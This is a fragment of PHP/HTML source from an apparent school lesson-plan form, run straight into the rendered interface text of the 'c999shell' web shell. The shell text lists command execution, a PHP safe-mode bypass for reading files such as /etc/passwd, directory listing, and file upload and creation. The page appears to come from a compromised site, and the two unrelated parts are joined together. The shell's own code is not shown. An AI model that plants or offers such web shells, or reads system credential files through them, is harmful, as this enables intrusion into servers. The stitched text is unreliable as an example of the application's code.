                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF"><input type="hidden" name="Teacher_code" value="<? echo $Teacher_code?>" />
                  <input type="hidden" name="Plan_code" value="<? echo $Plan_code?>" />
                  <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" />
                  &nbsp;<input type="reset" name="Reset" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
                  &nbsp;&nbsp; <input type="button" name="Button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlanList.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0162 ]--